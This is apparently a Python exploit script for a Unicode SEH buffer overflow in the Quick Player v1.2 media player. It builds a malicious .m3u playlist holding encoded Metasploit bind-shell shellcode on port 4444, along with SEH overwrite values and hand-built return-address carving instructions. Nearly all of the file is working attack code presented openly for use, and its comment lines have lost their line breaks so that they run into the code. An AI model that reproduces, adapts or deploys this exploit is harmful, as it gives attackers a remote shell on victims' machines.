#!/usr/bin/python## Quick Player v1.2 Unicode Buffer Overflow## Found by:mr_me(great job by mr_me!)http://www.exploit-db.com/exploits/10797## Coded by:sinn3r(x90.sinner{at}gmail{d0t]c0m)## thanks:corelanc0d3r's unicode article - awesome job!## Tested on :Windows XP SP3 ENG## Oops! Here goes one of my n00b moments...# windows/shell_bind_tcp lport=4444 http://metasploit.com# Plenty of space...
bindshell = ("\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51\x41\x54""\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44\x41\x5a\x41\x42""\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51\x41""\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49""\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38""\x41\x41\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51""\x49\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51\x49""\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33""\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x45\x39\x49\x51\x49\x4a""\x49\x49\x48\x59\x44\x31\x4a\x54\x51\x4d\x42\x35\x42\x39\x50""\x49\x50\x49\x51\x39\x51\x39\x50\x49\x51\x39\x50\x49\x51\x39""\x51\x39\x51\x39\x51\x33\x50\x43\x50\x43\x50\x43\x50\x43\x50""\x43\x50\x37\x42\x31\x50\x5a\x42\x4a\x51\x31\x50\x58\x50\x50""\x50\x30\x51\x31\x50\x30\x51\x31\x42\x4b\x51\x31\x51\x31\x42""\x31\x50\x32\x51\x31\x51\x32\x50\x32\x51\x32\x51\x32\x50\x30""\x50\x42\x51\x32\x51\x31\x51\x32\x50\x58\x42\x30\x50\x38\x51""\x31\x51\x32\x42\x55\x50\x4a\x51\x39\x50\x49\x42\x4c\x50\x4d""\x50\x38\x50\x4f\x44\x39\x50\x43\x50\x30\x50\x47\x42\x50\x50""\x45\x50\x50\x51\x35\x50\x30\x50\x4b\x50\x39\x50\x4a\x50\x45""\x50\x45\x43\x31\x50\x4e\x50\x32\x50\x43\x42\x34\x50\x4c\x50""\x4b\x50\x50\x51\x42\x50\x46\x50\x50\x50\x4e\x42\x4b\x42\x31""\x50\x42\x50\x44\x50\x4c\x50\x4c\x50\x4b\x51\x36\x50\x32\x51""\x37\x43\x34\x50\x4e\x42\x4b\x50\x51\x43\x32\x50\x47\x42\x38""\x50\x44\x50\x4f\x50\x4c\x42\x57\x51\x32\x51\x5a\x51\x35\x43""\x46\x51\x36\x50\x51\x50\x49\x42\x4f\x50\x46\x42\x31\x50\x4b""\x42\x50\x50\x4c\x42\x4c\x50\x45\x42\x4c\x50\x50\x43\x31\x50""\x51\x42\x4c\x51\x35\x42\x32\x50\x46\x50\x4c\x51\x35\x42\x50""\x50\x4a\x43\x31\x50\x4a\x42\x4f\x51\x34\x50\x4d\x51\x37\x42""\x51\x50\x4b\x42\x57\x51\x39\x44\x32\x50\x4c\x50\x30\x50\x46""\x50\x32\x50\x43\x43\x37\x50\x4e\x42\x4b\x50\x43\x42\x42\x51""\x34\x50\x50\x50\x4c\x50\x4b\x50\x50\x50\x42\x50\x47\x50\x4c""\x50\x46\x51\x51\x50\x4e\x50\x30\x50\x4e\x42\x4b\x50\x47\x50""\x30\x50\x42\x51\x48\x50\x4f\x42\x55\x50\x4b\x42\x50\x51\x34""\x50\x34\x50\x43\x43\x4a\x51\x37\x44\x31\x50\x48\x50\x50\x51""\x32\x44\x30\x50\x4c\x50\x4b\x50\x42\x42\x48\x50\x42\x50\x38""\x50\x4c\x50\x4b\x42\x31\x51\x38\x51\x37\x42\x30\x51\x37\x42""\x51\x50\x4e\x50\x33\x50\x4d\x50\x33\x50\x45\x42\x4c\x51\x32""\x43\x39\x50\x4e\x42\x4b\x51\x35\x43\x34\x50\x4c\x50\x4b\x51""\x37\x42\x51\x50\x49\x51\x36\x42\x30\x50\x31\x51\x39\x42\x4f""\x50\x44\x42\x51\x50\x4f\x50\x30\x50\x4c\x42\x4c\x50\x4b\x42""\x51\x50\x4a\x42\x4f\x51\x36\x42\x4d\x50\x43\x50\x31\x50\x4a""\x42\x47\x51\x35\x43\x38\x50\x4b\x42\x30\x50\x51\x42\x45\x50""\x48\x43\x44\x51\x33\x50\x33\x50\x43\x50\x4d\x50\x4a\x42\x38""\x51\x35\x42\x4b\x50\x43\x50\x4d\x50\x45\x44\x34\x50\x43\x51""\x35\x50\x48\x51\x52\x51\x32\x42\x58\x50\x4c\x50\x4b\x50\x42""\x44\x38\x50\x47\x51\x44\x51\x37\x44\x31\x50\x4b\x43\x33\x50""\x50\x43\x36\x50\x4e\x42\x4b\x50\x44\x50\x4c\x50\x42\x42\x4b""\x50\x4c\x50\x4b\x51\x33\x42\x48\x51\x35\x50\x4c\x50\x45\x42""\x31\x51\x38\x50\x53\x50\x4e\x42\x4b\x51\x36\x51\x54\x50\x4e""\x42\x4b\x51\x37\x44\x31\x51\x38\x42\x30\x50\x4d\x42\x39\x50""\x51\x42\x34\x50\x45\x42\x54\x51\x34\x42\x44\x51\x33\x42\x4b""\x50\x43\x42\x4b\x51\x35\x50\x31\x51\x32\x44\x39\x51\x33\x51""\x5a\x50\x50\x50\x51\x50\x4b\x50\x4f\x50\x4b\x50\x50\x50\x42""\x43\x48\x51\x33\x42\x4f\x42\x31\x50\x4a\x50\x4e\x42\x4b\x50""\x46\x42\x52\x50\x4a\x50\x4b\x50\x4f\x42\x56\x50\x51\x50\x4d""\x51\x35\x50\x38\x50\x50\x50\x33\x51\x36\x51\x42\x50\x43\x50""\x30\x50\x47\x42\x50\x51\x35\x50\x38\x51\x34\x50\x37\x42\x30""\x43\x43\x50\x44\x42\x52\x51\x33\x42\x4f\x50\x42\x43\x44\x50""\x51\x42\x58\x42\x30\x50\x4c\x50\x42\x42\x37\x51\x35\x44\x36""\x50\x47\x42\x57\x50\x4b\x50\x4f\x50\x4e\x50\x35\x50\x4f\x50""\x48\x50\x4c\x50\x50\x50\x45\x50\x51\x50\x47\x44\x30\x50\x45""\x42\x30\x50\x46\x51\x39\x50\x4f\x50\x34\x50\x46\x50\x34\x51""\x32\x44\x30\x51\x35\x50\x38\x42\x31\x50\x39\x50\x4b\x50\x30""\x42\x30\x42\x4b\x51\x33\x50\x30\x50\x4b\x50\x4f\x50\x49\x51""\x35\x50\x50\x42\x30\x50\x46\x50\x30\x42\x30\x42\x30\x51\x36""\x50\x30\x50\x51\x42\x30\x51\x36\x50\x30\x42\x31\x42\x30\x50""\x42\x42\x50\x51\x35\x50\x38\x51\x38\x42\x4a\x50\x46\x42\x4f""\x50\x49\x50\x4f\x51\x39\x42\x50\x50\x4b\x50\x4f\x50\x48\x42""\x35\x50\x4d\x42\x39\x50\x4b\x44\x37\x51\x36\x42\x31\x50\x4b""\x42\x4b\x51\x32\x42\x53\x50\x50\x51\x58\x50\x45\x51\x42\x51""\x35\x42\x30\x51\x36\x42\x51\x50\x43\x42\x4c\x50\x4f\x42\x59""\x50\x4a\x51\x36\x50\x50\x51\x5a\x51\x36\x42\x50\x51\x36\x50""\x36\x51\x32\x43\x47\x50\x51\x42\x58\x51\x39\x50\x52\x51\x39""\x50\x4b\x51\x37\x51\x37\x50\x50\x42\x47\x51\x39\x42\x4f\x50""\x4e\x50\x35\x50\x46\x50\x33\x50\x42\x44\x37\x42\x31\x42\x58""\x50\x4e\x42\x37\x50\x48\x51\x59\x51\x36\x51\x48\x50\x4b\x50""\x4f\x50\x4b\x50\x4f\x50\x48\x50\x55\x50\x43\x51\x53\x51\x33""\x42\x43\x51\x33\x51\x57\x50\x50\x42\x48\x42\x30\x42\x54\x51""\x38\x42\x4c\x51\x35\x42\x4b\x50\x4d\x50\x31\x50\x49\x42\x4f""\x50\x4b\x42\x45\x51\x33\x43\x37\x50\x4f\x43\x49\x50\x49\x51""\x47\x50\x42\x50\x48\x42\x31\x51\x55\x51\x32\x50\x4e\x51\x32""\x42\x4d\x51\x33\x42\x31\x50\x4b\x50\x4f\x50\x48\x51\x45\x50""\x42\x51\x38\x50\x43\x42\x33\x51\x32\x50\x4d\x42\x30\x43\x34""\x51\x37\x42\x50\x50\x4d\x51\x49\x51\x38\x51\x53\x50\x51\x50""\x47\x42\x31\x51\x37\x51\x36\x50\x37\x50\x44\x44\x31\x50\x4c""\x50\x36\x50\x51\x42\x5a\x50\x42\x50\x32\x42\x31\x51\x39\x50""\x46\x50\x36\x50\x4d\x50\x32\x51\x39\x42\x4d\x42\x30\x51\x56""\x50\x4a\x42\x47\x50\x47\x50\x34\x50\x45\x44\x34\x51\x35\x42""\x4c\x50\x46\x43\x31\x50\x46\x51\x51\x50\x4e\x42\x4d\x50\x50""\x51\x34\x42\x31\x50\x34\x50\x42\x50\x30\x50\x48\x50\x46\x50""\x47\x42\x50\x50\x47\x50\x34\x50\x51\x51\x34\x50\x50\x50\x50""\x50\x50\x51\x46\x50\x43\x43\x36\x51\x36\x50\x36\x42\x30\x50""\x46\x51\x33\x51\x56\x42\x30\x50\x4e\x50\x46\x50\x36\x51\x33""\x51\x56\x50\x42\x44\x33\x50\x50\x50\x56\x51\x32\x50\x48\x50""\x51\x51\x59\x50\x4a\x42\x4c\x50\x47\x50\x4f\x50\x4c\x50\x46""\x50\x4b\x50\x4f\x51\x38\x51\x45\x50\x4e\x42\x49\x50\x4d\x50""\x30\x42\x30\x50\x4e\x50\x50\x50\x56\x50\x43\x43\x46\x50\x4b""\x50\x4f\x50\x50\x50\x30\x50\x45\x50\x38\x50\x46\x51\x58\x50""\x4e\x51\x57\x51\x35\x50\x4d\x51\x35\x50\x30\x50\x4b\x50\x4f""\x50\x4b\x43\x35\x50\x4d\x42\x4b\x50\x4a\x42\x30\x50\x4f\x50""\x45\x50\x4c\x43\x32\x42\x31\x50\x46\x50\x42\x50\x48\x50\x4d""\x43\x46\x50\x4d\x50\x45\x50\x4f\x50\x4d\x50\x4f\x42\x4d\x50""\x4b\x50\x4f\x51\x38\x50\x55\x50\x47\x50\x4c\x51\x33\x50\x36""\x50\x51\x42\x4c\x51\x36\x51\x5a\x50\x4d\x50\x50\x50\x4b\x50""\x4b\x50\x4d\x50\x30\x50\x44\x50\x35\x50\x46\x43\x35\x50\x4f""\x50\x4b\x50\x42\x42\x47\x50\x46\x43\x43\x42\x30\x43\x42\x50""\x42\x50\x4f\x50\x43\x50\x5a\x51\x37\x44\x30\x50\x42\x42\x53""\x50\x49\x42\x4f\x50\x4b\x51\x55\x50\x45\x51\x4a\x51\x31\x51""\x31\x41\x41")
buffer = ("\x41"*536 +# junk##################################################################### SEH Chain:"\x41\x6D"# Pointer to Next SEH record (unicode = 0x6D004100)"\x41\x4D"# SE Handler (unicode format = 0x004A0059)##################################################################### START CARVING THE RET ADDRESS:# 0x0012e270 (first item on the stack) + 0x11006100 - 0x11006000 = 0x0012E370 (RET)"\x58"# POP EAX"\x6D"# Separator"\x05\x61\x11"# ADD EAX, 0x11006100 (chars expanded due to unicode)"\x6D"# Separator"\x2D\x60\x11"# SUB EAX, 0x11006000 (chars expanded due to unicode)"\x6D"# Separator"\x50"# PUSH EAX"\x6D"# Separator"\xC3"+# RETN ; (0x0012E370)###################################################################### bindshell lport 4444"\x41"*111+ # Alignment
bindshell+ # bindshell lport 4444"\x44"*3000)# some mo' padding to please my eyes
f = open("quick_player_exploit.m3u","w")
f.write(buffer)
f.close()
print "[*] quick_player_exploit.m3u created! ph33r!"
